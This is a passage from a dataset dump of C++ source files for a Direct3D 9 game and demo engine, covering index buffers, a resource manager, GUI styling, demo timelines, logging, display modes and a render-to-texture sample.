4;\r\n\tcreate();\r\n}\r\n\r\nIndexBuffer::~IndexBuffer()\r\n{\r\n\tif(!is_released)\r\n\t{\r\n\t\tsafeRelease(index_buffer);\r\n\t\tLOG(FORMAT(\"Index buffer %s released\", % name));\r\n\t}\r\n}\r\n\r\nbool IndexBuffer::isLocked() const\r\n{\r\n\treturn is_locked;\r\n}\r\n\r\nLockedBuffer IndexBuffer::lock(bool read_only)\r\n{\r\n\tif(is_locked)\r\n\t\tthrow EXCEPTION(\"Index buffer is already locked!\");\r\n\r\n\tis_locked = true;\r\n\r\n\tvoid* data;\r\n\tDWORD usage;\r\n\r\n\tif(is_dynamic)\r\n\t\tusage = D3DLOCK_DISCARD;\r\n\telse\r\n\t\tusage = read_only ? D3DLOCK_READONLY : 0;\r\n\r\n\tE_E(index_buffer->Lock(0, 0, &data, usage));\r\n\r\n\tLockedBuffer result;\r\n\tresult.data = data;\r\n\tresult.size = size_in_bytes;\r\n\r\n\treturn result;\r\n}\r\n\r\nvoid IndexBuffer::unlock()\r\n{\r\n\tif(!is_locked)\r\n\t\tthrow EXCEPTION(\"Index buffer is not locked!\");\r\n\r\n\tE_E(index_buffer->Unlock());\r\n\tis_locked = false;\r\n}\r\n\r\nint IndexBuffer::getIndexCount() const\r\n{\r\n\treturn indice_count;\r\n}\r\n\r\nbool IndexBuffer::isSixteenBits() const\r\n{\r\n\treturn sixteen_bits;\r\n}\r\n\r\nIDirect3DIndexBuffer9* IndexBuffer::getD3DIndexBuffer() const\r\n{\r\n\tif(is_ready)\r\n\t\treturn index_buffer;\r\n\telse\r\n\t\tthrow EXCEPTION(\"Index buffer is not ready for usage\");\r\n}\r\n\r\nvoid IndexBuffer::create()\r\n{\r\n\tLOG(FORMAT(\"Creating index buffer %s\", % name));\r\n\r\n\tD3DFORMAT format = sixteen_bits ? D3DFMT_INDEX16 : D3DFMT_INDEX32;\r\n\tD3DPOOL pool = is_dynamic ? D3DPOOL_DEFAULT : D3DPOOL_MANAGED;\r\n\t\r\n\tE_E(device->CreateIndexBuffer(size_in_bytes, usage, format, pool, &index_buffer, NULL));\r\n\t\r\n\tis_ready = true;\r\n\tis_locked = false;\r\n}\r\n\r\nvoid IndexBuffer::onDeviceLost()\r\n{\r\n\t// Only dynamic buffers must be released on device lost\r\n\tif(is_dynamic)\r\n\t{\r\n\t\tLOG(FORMAT(\"Releasing dynamic index buffer %s\", % name));\r\n\t\tsafeRelease(index_buffer);\r\n\t\tis_released = true;\r\n\t}\r\n\r\n\tis_ready = false;\r\n}\r\n\r\nvoid IndexBuffer::onDeviceReset()\r\n{\r\n\tif(is_dynamic && is_released)\r\n\t\tcreate();\r\n\r\n\tis_ready = true;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6625000238418579, "alphanum_fraction": 0.6630434989929199, "avg_line_length": 23.047618865966797, "blob_id": "80459b138810dd10a13783f0ab4d7206ada4098c", "content_id": "c7de8fb2cc27592f872bc8ddb2866b024d31b9fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3680, "license_type": "no_license", "max_line_length": 95, "num_lines": 147, "path": "/source/ResourceManager.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef RESOURCEMANAGER_H\r\n#define RESOURCEMANAGER_H\r\n\r\n#include \"Resource.h\"\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Base class for all resource managers\r\ntemplate <typename T>\r\nclass ResourceManager : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tResourceManager()\r\n\t\t:\r\n\tid_counter(0)\r\n\t{\r\n\t}\r\n\t\r\n\t/// Destructor\r\n\tvirtual ~ResourceManager()\r\n\t{\r\n\t}\r\n\r\n\t/// Removes resource\r\n\t/// \\param name Resource name\r\n\tvoid remove(const std::string& name)\r\n\t{\r\n\t\tdictionary_itr = dictionary.find(name);\r\n\t\tif(dictionary_itr == dictionary.end())\r\n\t\t\tthrow EXCEPTION(FORMAT(\"Resource %s doesn't exist\", % name));\r\n\t\tresources[static_cast<int>(dictionary_itr->second)] = T();\r\n\t\tdictionary.erase(dictionary_itr);\r\n\r\n\t\tLOG(FORMAT(\"Resource %s removed\", % name));\r\n\t}\r\n\r\n\t/// Removes resource\r\n\t/// \\param name Resource id\r\n\tvoid remove(ResourceId id)\r\n\t{\r\n\t\tstd::string name = get(id)->getName();\r\n\t\tdictionary_itr = dictionary.find(name);\r\n\t\tif(dictionary_itr == dictionary.end())\r\n\t\t\tthrow EXCEPTION(FORMAT(\"Resource %s doesn't exist\", % name));\r\n\t\tresources[static_cast<int>(dictionary_itr->second)] = T();\r\n\t\tdictionary.erase(dictionary_itr);\r\n\r\n\t\tLOG(FORMAT(\"Resource %s removed\", % name));\r\n\t}\r\n\t\r\n\t/// Returns existing resource\r\n\t/// \\param name Resource name\r\n\t/// \\remarks Use get(ResourceId id) if possible, it provides better performace.\r\n\tT get(const std::string& name)\r\n\t{\r\n\t\treturn resources[static_cast<int>(getResourceId(name))];\r\n\t}\r\n\r\n\t/// Returns existing resource\r\n\t/// \\param id Resource id\r\n\tT get(ResourceId id)\r\n\t{\r\n\t\treturn resources[static_cast<int>(id)];\r\n\t}\r\n\r\n\t/// Returns true if resource with provided name exists.\r\n\tbool exists(const std::string& name)\r\n\t{\r\n\t\tdictionary_itr = dictionary.find(name);\r\n\t\tif(dictionary_itr == dictionary.end())\r\n\t\t\treturn false;\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n\t/// Returns true if resuorce with provided id exists.\r\n\tbool exists(ResourceId id)\r\n\t{\r\n\t\tif(id < resources.size())\r\n\t\t\treturn true;\r\n\t}\r\n\r\nprotected:\r\n\t\r\n\t/// Inserts new resource. Must be called after each getUniqueId(const std::string& name) call.\r\n\t/// \\param name Resource's name\r\n\t/// \\param resource %Resource\r\n\tT insert(const std::string& name, T resource, ResourceId id)\r\n\t{\r\n\t\tif(id < resources.size())\r\n\t\t\tresources[id] = resource;\r\n\t\telse if(id == resources.size())\r\n\t\t\tresources.push_back(resource);\r\n\t\telse\r\n\t\t\tthrow EXCEPTION(\"Bad ID provided to ResourceManager::insert\");\r\n\t\treturn resource;\r\n\t}\r\n\t\r\n\t/// Returns unique id for given name. Throws Exception if such name already exists.\r\n\t/// \\param name Resource's name\r\n\tResourceId getUniqueId(const std::string& name)\r\n\t{\r\n\t\tdictionary_itr = dictionary.find(name);\r\n\t\tif(dictionary_itr != dictionary.end())\r\n\t\t\tthrow EXCEPTION(FORMAT(\"Resource %s already exists\", % name));\r\n\r\n\t\tT empty;\r\n\t\tResourceId new_id = 0;\r\n\t\twhile(new_id < resources.size())\r\n\t\t{\r\n\t\t\tif(resources[new_id++] == empty)\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t\tif(new_id != resources.size())\r\n\t\t\tnew_id--;\r\n\r\n\t\tdictionary.insert(std::make_pair(name, new_id));\r\n\t\treturn new_id;\r\n\t}\r\n\r\n\t/// Returns id for existing resource. Throws Exception if there is no such name.\r\n\t/// \\param name Resource's name\r\n\tResourceId getResourceId(const std::string& name)\r\n\t{\r\n\t\tdictionary_itr = dictionary.find(name);\r\n\t\tif(dictionary_itr == dictionary.end())\r\n\t\t\tthrow EXCEPTION(FORMAT(\"Resource %s doesn't exist\", % name));\r\n\r\n\t\treturn dictionary_itr->second;\r\n\t}\r\n\t\r\n\tstd::vector<T> resources;\r\n\ttypename std::vector<T>::iterator resources_itr;\r\n\r\nprivate:\r\n\tResourceId id_counter;\r\n\t\r\n\tstd::map<std::string, ResourceId> dictionary;\r\n\tstd::map<std::string, ResourceId>::iterator dictionary_itr;\t\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.7296726703643799, "alphanum_fraction": 0.7360084652900696, "avg_line_length": 28.580644607543945, "blob_id": "e2e4adf8785f84b620e8092c6549b30e1a1f1897", "content_id": "9fcf3faea140166eee16b2426dcd160caa26be42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1894, "license_type": "no_license", "max_line_length": 118, "num_lines": 62, "path": "/apps/Collapse/CollapseGUIStyle.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef COLLAPSE_GUI_STYLE_H\r\n#define COLLAPSE_GUI_STYLE_H\r\n\r\n#include \"GUI.h\"\r\n#include \"SpriteBatch.h\"\r\n#include \"BitmapFont.h\"\r\n#include \"Colors.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass CollapseGUIStyle : public GUIStyle\r\n{\r\npublic:\r\n\tCollapseGUIStyle(SpriteBatchPtr sprite_batch, TextureManagerPtr texture_manager, BitmapFontPtr font, uint layer = 0);\r\n\t~CollapseGUIStyle();\r\n\r\n\tvirtual bool hitButton(const Vector2& pos, const std::string& text);\r\n\tvirtual bool hitSwitch(const Vector2& pos, const std::string& text);\r\n\tvirtual float hitSlider(const Vector2& pos);\r\n\tvirtual bool hitSelector(const Vector2& pos, const std::vector<std::string>& selections, uint& button);\r\n\r\n\tvirtual void drawLabel(const Vector2& pos, const std::string& text);\r\n\tvirtual void drawButton(const Vector2& pos, const std::string& text, bool mouse_over, bool pressed);\r\n\tvirtual void drawSwitch(const Vector2& pos, const std::string& text, bool mouse_over, bool state);\r\n\tvirtual void drawSlider(const Vector2& pos, bool mouse_over, float state);\r\n\tvirtual void drawSelector(const Vector2& pos, const std::vector<std::string>& selections, uint item, \r\n\t\tbool mouse_over, bool mouse_over_prev, bool mouse_over_next, bool pressed);\r\n\r\n\tvirtual void endFrame();\r\n\r\n\t// TODO: add similar functions for all widgets\r\n\t// Helper for nice menu state fading\r\n\tvoid drawSimpleSlider(const Vector2& pos, float state, const Color& color);\r\n\r\nprivate:\r\n\tfloat calcSelectorWidth(const std::vector<std::string>& selections);\r\n\r\n\tstruct SelectorState\r\n\t{\r\n\t\tfloat width;\r\n\t\tfloat prev_shift;\r\n\t\tfloat next_shift;\r\n\t};\r\n\r\n\tunion WidgetState\r\n\t{\r\n\t\tfloat shift;\r\n\t\tSelectorState selector;\r\n\t};\r\n\r\n\tSpriteBatchPtr sprite_batch;\r\n\tuint layer;\r\n\r\n\tTexture2DPtr texture;\r\n\tBitmapFontPtr font;\r\n\r\n\tStaticHashMap<WidgetState, uint, GUI::cache_size> cache;\r\n};\r\n\r\ntypedef boost::shared_ptr<CollapseGUIStyle> CollapseGUIStylePtr;\r\n\r\n#endif" }, { "alpha_fraction": 0.6348421573638916, "alphanum_fraction": 0.641688883304596, "avg_line_length": 18.66929054260254, "blob_id": "e5aa891220d71912982cee266769f6c7761b6a91", "content_id": "2273740a07304ca8608e5c95b70b532b94cc4e79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2629, "license_type": "no_license", "max_line_length": 93, "num_lines": 127, "path": "/apps/Celerity/Demo.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Demo.h\"\r\n\r\n#include \"Engine.h\"\r\n#include \"Timer.h\"\r\n\r\nDemo::Demo(SoundPtr soundtrack)\r\n: soundtrack(soundtrack), last_gather(-1.0f), time(0.0f), start_time(0.0f)\r\n{\r\n}\r\n\r\nDemo::~Demo()\r\n{\r\n\tfor(uint i = 0; i < segments.size(); ++i)\r\n\t\tsegments[i].segment->close();\r\n\tsegments.clear();\r\n}\r\n\r\nvoid Demo::add(int priority, float start, float end, TimelineSegmentPtr segment)\r\n{\r\n\tassert(start < end);\r\n\r\n\tDemoSegment new_segment;\r\n\tnew_segment.priority = priority;\r\n\tnew_segment.start = start;\r\n\tnew_segment.end = end;\r\n\tnew_segment.segment = segment;\r\n\tsegments.push_back(new_segment);\r\n\r\n\tsegment->init(shared_from_this());\r\n}\r\n\r\nvoid Demo::seal()\r\n{\r\n\tstd::sort(segments.begin(), segments.end());\r\n}\r\n\r\nfloat Demo::getTime()\r\n{\r\n\treturn time;\r\n}\r\n\r\nvoid Demo::setTime(float t)\r\n{\r\n\tsoundtrack->setPosition(t);\r\n\ttime = t;\r\n}\r\n\r\nfloat Demo::getCurrentSegmentLength()\r\n{\r\n\treturn current_segment_length;\r\n}\r\n\r\nvoid Demo::pause()\r\n{\r\n\tsoundtrack->pause();\r\n}\r\n\r\nvoid Demo::play()\r\n{\r\n\tsoundtrack->play();\r\n}\r\n\r\nbool Demo::update()\r\n{\r\n\ttime = soundtrack->getPosition();\r\n\r\n\tEngine e;\r\n\r\n\tif(segments.size() > 0)\r\n\t{\r\n\t\tDemoSegment& last = segments[segments.size()-1];\r\n\t\tif(time >= soundtrack->getLength()\t|| e.getInput()->getKeyboard()->isKeyPressed(VK_ESCAPE))\r\n\t\t{\r\n\t\t\tfor(uint i = 0; i < segments.size(); ++i)\r\n\t\t\t\tsegments[i].segment->close();\r\n\t\t\tsegments.clear();\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\telse\r\n\t\treturn false;\r\n\r\n\tDemoSegment active_segments[max_active_segments];\r\n\tuint active_segment_count = gatherActiveSegments(time, active_segments);\r\n\r\n\tfor(uint i = 0; i < active_segment_count; ++i)\r\n\t{\r\n\t\tDemoSegment& s = active_segments[i];\r\n\t\tcurrent_segment_length = s.end - s.start;\r\n\t\ts.segment->update(time);\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nbool Demo::render()\r\n{\r\n\tDemoSegment active_segments[max_active_segments];\r\n\tuint active_segment_count = gatherActiveSegments(time, active_segments);\r\n\r\n\tfor(uint i = 0; i < active_segment_count; ++i)\r\n\t{\r\n\t\tDemoSegment& s = active_segments[i];\r\n\t\tcurrent_segment_length = s.end - s.start;\r\n\t\ts.segment->render(time);\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nbool Demo::comparePriorities(const DemoSegment& s1, const DemoSegment& s2) \r\n{\r\n\treturn s1.priority < s2.priority;\r\n}\r\n\r\nuint Demo::gatherActiveSegments(float t, DemoSegment out[])\r\n{\r\n\tuint count = 0;\r\n\tfor(uint i = 0; i < segments.size(); ++i)\r\n\t{\r\n\t\tif(segments[i].start <= t && segments[i].end >= t)\r\n\t\t\tout[count++] = segments[i];\r\n\t\tif(count >= max_active_segments)\r\n\t\t\tthrow EXCEPTION(\"Active timeline segment buffer owerflow\");\r\n\t}\r\n\tstd::sort(out, out + count, comparePriorities);\r\n\treturn count;\r\n}\r\n\r\n\r\n" }, { "alpha_fraction": 0.6797752976417542, "alphanum_fraction": 0.6864147186279297, "avg_line_length": 29.079364776611328, "blob_id": "be713d5272d490c1370424c343b888f3cb4a46c6", "content_id": "323bef5f9a3f9271d0fb77fd13417e1a091ba65d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1958, "license_type": "no_license", "max_line_length": 116, "num_lines": 63, "path": "/apps/Delirium/DisplayModeDialog.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"DisplaymodeDialog.h\"\r\n\r\n#include \"resource.h\"\r\n\r\nDisplayModesPtr g_modes;\r\nVideoSettings* g_settings;\r\n\r\nLRESULT CALLBACK DlgProc(HWND hWndDlg, UINT Msg, WPARAM wParam, LPARAM lParam)\r\n{\r\n\tHWND combobox_handle = GetDlgItem(hWndDlg, IDC_DISPMODE_COMBO);\r\n\tHWND fullscreen_handle = GetDlgItem(hWndDlg, IDC_FULLSCREEN_CHECK);\r\n\tHWND vsync_handle = GetDlgItem(hWndDlg, IDC_VSYNC_CHECK);\r\n\tuint mode_count = g_modes->getModeCount();\r\n\tswitch(Msg)\r\n\t{\r\n\tcase WM_INITDIALOG:\r\n\t\t\r\n\t\tfor(uint i = 0; i < mode_count; ++i)\r\n\t\t{\r\n\t\t\tSendMessage(combobox_handle, CB_ADDSTRING, 0, \r\n\t\t\t\treinterpret_cast<LPARAM>(g_modes->getMode(i).getDescription().c_str()));\r\n\t\t}\r\n\t\tSendMessage(combobox_handle, CB_SETCURSEL, g_modes->getDesktopMode(), 0);\r\n\t\tSendMessage(fullscreen_handle, BM_SETCHECK, BST_CHECKED, 0);\r\n\t\tSendMessage(vsync_handle, BM_SETCHECK, BST_CHECKED, 0);\r\n\t\treturn true;\r\n\r\n\tcase WM_COMMAND:\r\n\t\tswitch(wParam)\r\n\t\t{\r\n\t\tcase IDOK:\r\n\t\t\tbool fullscreen = SendMessage(fullscreen_handle, BM_GETCHECK, 0, 0) == BST_CHECKED;\r\n\t\t\tbool vsync = SendMessage(vsync_handle, BM_GETCHECK, 0, 0) == BST_CHECKED;\r\n\t\t\tuint selected_id = SendMessage(combobox_handle, CB_GETCURSEL, 0, 0);\r\n\t\t\tDisplayMode& selected = g_modes->getMode(selected_id);\r\n\t\t\t(*g_settings)[\"ScreenWidth\"] = selected.getWidth();\r\n\t\t\t(*g_settings)[\"ScreenHeight\"] = selected.getHeight();\r\n\t\t\t(*g_settings)[\"RefreshRate\"] = selected.getRefreshRate();\r\n\t\t\t(*g_settings)[\"Fullscreen\"] = fullscreen;\r\n\t\t\t(*g_settings)[\"VSync\"] = vsync;\r\n\t\t\tEndDialog(hWndDlg, IDOK);\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\tbreak;\r\n\r\n\tcase WM_CLOSE:\r\n\t\tEndDialog(hWndDlg, 0);\r\n\t\treturn true;\r\n\t}\r\n\r\n\treturn false;\r\n}\r\n\r\nbool showDisplaymodeDialog(DisplayModesPtr modes, VideoSettings& settings)\r\n{\r\n\tg_modes = modes;\r\n\tg_settings = &settings;\r\n\tint ret = DialogBox(GetModuleHandle(NULL), MAKEINTRESOURCE(IDD_DIALOG1), NULL, reinterpret_cast<DLGPROC>(DlgProc));\r\n\tif(ret == IDOK)\r\n\t\treturn true;\r\n\treturn false;\r\n}\r\n" }, { "alpha_fraction": 0.6220657229423523, "alphanum_fraction": 0.6220657229423523, "avg_line_length": 18.799999237060547, "blob_id": "9bd79375cf5b5b11cf46efd6291346708ed24ae5", "content_id": "535ff3e2403b8faa06b201a281ae59471c7aa59d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 852, "license_type": "no_license", "max_line_length": 72, "num_lines": 40, "path": "/source/Log.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Log.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nstd::vector<LogListenerPtr> Log::listeners;\r\nstd::vector<LogListenerPtr>::iterator Log::itr;\r\n\r\nvoid Log::init()\r\n{\r\n}\r\n\r\nvoid Log::release()\r\n{\r\n\tfor(itr = listeners.begin(); itr != listeners.end(); ++itr)\r\n\t\t(*itr)->remove();\r\n\r\n\tlisteners.clear();\r\n}\r\n\r\nvoid Log::log(const std::string& msg, const std::string& file, int line)\r\n{\r\n\tconst std::string m = FORMAT(\"%s:%d: %s\", % file % line % msg); \r\n\tfor(itr = listeners.begin(); itr != listeners.end(); ++itr)\r\n\t\t(*itr)->sendMsg(m);\r\n}\r\n\r\nvoid Log::addListener(LogListenerPtr listener)\r\n{\r\n\tlisteners.push_back(listener);\r\n\tlistener->add();\r\n}\r\n\r\nvoid Log::removeListener(LogListenerPtr listener)\r\n{\r\n\tlistener->remove();\r\n\tlisteners.erase(remove(listeners.begin(), listeners.end(), listener));\r\n}\r\n\r\n} // namespace\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.7001703381538391, "alphanum_fraction": 0.7001703381538391, "avg_line_length": 16.935483932495117, "blob_id": "e05df7a7925c66df2a58796e65df277116ad3e5e", "content_id": "677e2fc602b7365f3e217122e3026e78ebdc3779", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 587, "license_type": "no_license", "max_line_length": 62, "num_lines": 31, "path": "/source/FileLogListener.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef FILELOGGER_H\r\n#define FILELOGGER_H\r\n\r\n#include \"Log.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Implementation of LogListner for writing log in tex file\r\nclass FileLogListener: public LogListener\r\n{\r\npublic:\r\n\t/// Constructor\r\n\t/// \\param filename Log filename \r\n\tFileLogListener(const std::string& filename);\r\n\r\n\t/// Destructor\r\n\tvirtual ~FileLogListener();\r\n\t\r\n\tvirtual void add();\r\n\tvirtual void remove();\r\n\tvirtual void sendMsg(const std::string& msg);\r\n\r\nprivate: \r\n\tstd::ofstream file;\r\n};\r\n\r\ntypedef boost::shared_ptr<FileLogListener> FileLogListenerPtr;\r\n\r\n} // namespace\r\n\r\n#endif\r\n" }, { "alpha_fraction": 0.7160997986793518, "alphanum_fraction": 0.7215419411659241, "avg_line_length": 24.2738094329834, "blob_id": "88f7647e3ce3def23a6c3681e6c5983ca30be891", "content_id": "96a33b953d5b4870c63bf681dc0ed8fd1d7675de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2205, "license_type": "no_license", "max_line_length": 85, "num_lines": 84, "path": "/source/DisplayModes.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef DISPLAYMODES_H\r\n#define DISPLAYMODES_H\r\n\r\n#include \"CommonTypes.h\"\r\n#include \"VideoSettings.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Display mode\r\nclass DisplayMode\r\n{\r\npublic:\r\n\r\n\t/// Constructor\r\n\t/// \\param mode D3DDISPLAYMODE structure\r\n\tDisplayMode(D3DDISPLAYMODE& mode);\r\n\r\n\t/// Copy constructor\r\n\tDisplayMode(const DisplayMode& display_mode);\r\n\r\n\t/// Destructor\r\n\t~DisplayMode();\r\n\r\n\t/// Returns width of screen in pixels\r\n\tuint getWidth();\r\n\t/// Returns height of screen in pixels\r\n\tuint getHeight();\r\n\t/// Returns monitor refresh rate\r\n\tuint getRefreshRate();\r\n\t/// Returns device format\r\n\tD3DFORMAT getFormat();\r\n\t/// Returns original D3DDISPLAYMODE used to construct this DisplayMode\r\n\tD3DDISPLAYMODE getD3DDisplayMode();\r\n\t/// Returns description of display mode in printable format\r\n\tstd::string getDescription();\r\n\r\n\t/// Sort operator\r\n\tbool operator<(const DisplayMode& d) const;\r\n\t/// Equality operator\r\n\tbool operator==(const DisplayMode& d) const;\r\n\r\nprivate:\r\n\tD3DDISPLAYMODE mode;\r\n};\r\n\r\n/// Collection of all supported display modes\r\nclass DisplayModes : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Gets amount of supported display modes\r\n\tuint getModeCount();\r\n\t/// Gets specific display mode\r\n\t/// \\param i Mode index, must be between zero and number returned by getModeCount() \r\n\tDisplayMode& getMode(uint i);\r\n\t/// Returns index of real current display mode (desktop mode if not fullscreen)\r\n\tuint getCurrentMode();\r\n\t/// Returns index of current application mode\r\n\tuint getCurrentAppMode(VideoSettings& settings);\r\n\t/// Returns index of desktop display mode\r\n\tuint getDesktopMode();\r\n\t/// Finds mode index, ~0 if not supported\r\n\tuint findMode(uint width, uint height, uint refresh);\r\n\t\r\n\t/// Modifies VideoSettings to correspond to a new display mode\r\n\t/// \\param settings VideoSettings instance to modify\r\n\t/// \\param i Mode index, must be between zero and number returned by getModeCount() \r\n\tvoid setMode(VideoSettings& settings, uint i);\r\n\r\nprivate:\r\n\tDisplayModes(D3DPtr d3d);\r\n\tstd::vector<DisplayMode> modes;\r\n\tuint mode_count;\r\n\tuint desktop_mode;\r\n\r\n\tD3DPtr d3d;\r\n\r\n\tfriend class VideoDevice;\r\n};\r\n\r\ntypedef boost::shared_ptr<DisplayModes> DisplayModesPtr;\r\n\r\n}\r\n\r\n#endif" }, { "alpha_fraction": 0.5822580456733704, "alphanum_fraction": 0.6370967626571655, "avg_line_length": 24.495725631713867, "blob_id": "2904c2f2af29cab4493ed9be1314919d2cccaa51", "content_id": "636ec28b3bbba1f2da00c320fd2f5a0d328d6554", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3100, "license_type": "no_license", "max_line_length": 111, "num_lines": 117, "path": "/samples/RenderToTexture/RenderToTexture.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"Filesystem.h\"\r\n\r\n#include \"RenderTarget.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass RenderToTexture: public Application\r\n{\r\npublic:\r\n\tRenderToTexture(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t: Application(instance, name, log_filename)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~RenderToTexture()\r\n\t{\r\n\t}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 800;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 600;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tballs = texture_manager->loadTexture2D(\"balls\", Filesystem::redirect(\"balls.png\"));\r\n\t\t\r\n\t\tfor(int i = 0; i < 7; ++i)\r\n\t\t\tsrc_balls[i] = RectF(64.0f * float(i), 0.0f, 64.0f, 64.0f);\r\n\r\n\t\trender_target = texture_manager->createRenderTarget(\"rt1\", 256, 256, D3DFMT_X8R8G8B8);\r\n\r\n\t\tsprite_batch = video_device->createSpriteBatch(main_renderer, 800, 600, 0);\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\t// Render scene to render target once...\r\n\t\tvideo_device->setClearColor(Color(255, 255, 255));\r\n\t\tvideo_device->beginScene(true, true, false, render_target);\r\n\r\n\t\tsprite_batch->setVirtualResolution(256, 256);\r\n\t\t\r\n\t\tfor(int i = 0; i < 7; ++i)\r\n\t\t{\r\n\t\t\tfloat t = float(Timer::getTimeMs()) / 1000.0f;\r\n\t\t\tfloat x = sin(t * (1.0f + sin(t / 4.0f) / 4.0f) + (float(i) / 7.0f) * 2.0f * pi);\r\n\t\t\tfloat y = cos(t * 1.6f + (float(i) / 7.0f) * 2.0f * pi);\r\n\t\t\tsprite_batch->draw(balls, 0, src_balls[i], Vector2(96.0f + x * (128.0f-32.0f), 96.0f + y * (128.0f-32.0f)));\r\n\t\t}\r\n\r\n\t\tsprite_batch->present();\r\n\t\tmain_renderer->render();\r\n\r\n\t\tvideo_device->endScene();\r\n\r\n\t\t// Then draw multiple copies of scene using render target as a texture\r\n\t\tvideo_device->setClearColor(Color(0, 0, 0));\r\n\t\tvideo_device->beginScene();\r\n\t\t\r\n\t\tsprite_batch->setVirtualResolution(800, 600);\r\n\t\t\r\n\t\tsprite_batch->draw(render_target, 1, Vector2(5.0f, 5.0f));\r\n\t\tsprite_batch->draw(render_target, 1, Vector2(5.0f, 600.0f - 256.0f - 5.0f));\r\n\t\tsprite_batch->draw(render_target, 1, Vector2(800.0f - 256.0f - 5.0f, 5.0f));\r\n\t\tsprite_batch->draw(render_target, 1, Vector2(800.0f - 256.0f - 5.0f, 600.0f - 256.0f - 5.0f));\r\n\t\t\r\n\t\tsprite_batch->present();\r\n\t\t// To avoid rendering balls twice, only render batches with priority 1 \r\n\t\tmain_renderer->render(1, 1);\r\n\t\t\r\n\t\tvideo_device->endScene();\r\n\t\tmain_renderer->endFrame();\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\nprivate:\r\n\tTexture2DPtr balls;\r\n\tRenderTargetPtr render_target;\r\n\r\n\tRectF src_balls[7];\r\n\r\n\tSpriteBatchPtr sprite_batch;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\ttry\r\n\t{\r\n\t\tRenderToTexture app(hInstance, \"RenderToTexture\", \"RenderToTexture.log\");\r\n\t\tapp.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.5906623005867004, "alphanum_fraction": 0.6330075860023499, "avg_line_length": 14.917430877685547, "blob_id": "f25994e964b9032e09e3223c6e02e571abe240aa", "content_id": "8a23edb002ac6adb1ea9f17aef4c8df232691603", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1842, "license_type": "no_license", "max_line_length": 55, "num_lines": 109, "path": "/source/Vector3.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef VECTOR3_H\r\n#define VECTOR3_H\r\n\r\nnamespace Cvekas {\r\n\r\n/// 3D Vector\r\nstruct Vector3 : public D3DXVECTOR3 \r\n{\r\npublic:\r\n\tVector3();\r\n\tVector3(const float* f);\r\n\tVector3(const D3DXFLOAT16* f);\r\n\tVector3(float x, float y, float z);\r\n\tVector3(const D3DXVECTOR3& v);\r\n\r\n\toperator D3DXVECTOR3&();\r\n\toperator const D3DXVECTOR3&() const;\r\n\r\n\tvoid set( float vx, float vy, float vz );\r\n\tfloat length() const;\r\n\tfloat lengthSq() const;\r\n\tfloat dot( const Vector3& v ) const;\r\n\tvoid normalize();\r\n\r\n\tVector3 cross( const Vector3& v ) const;\r\n\tVector3 getNormalized() 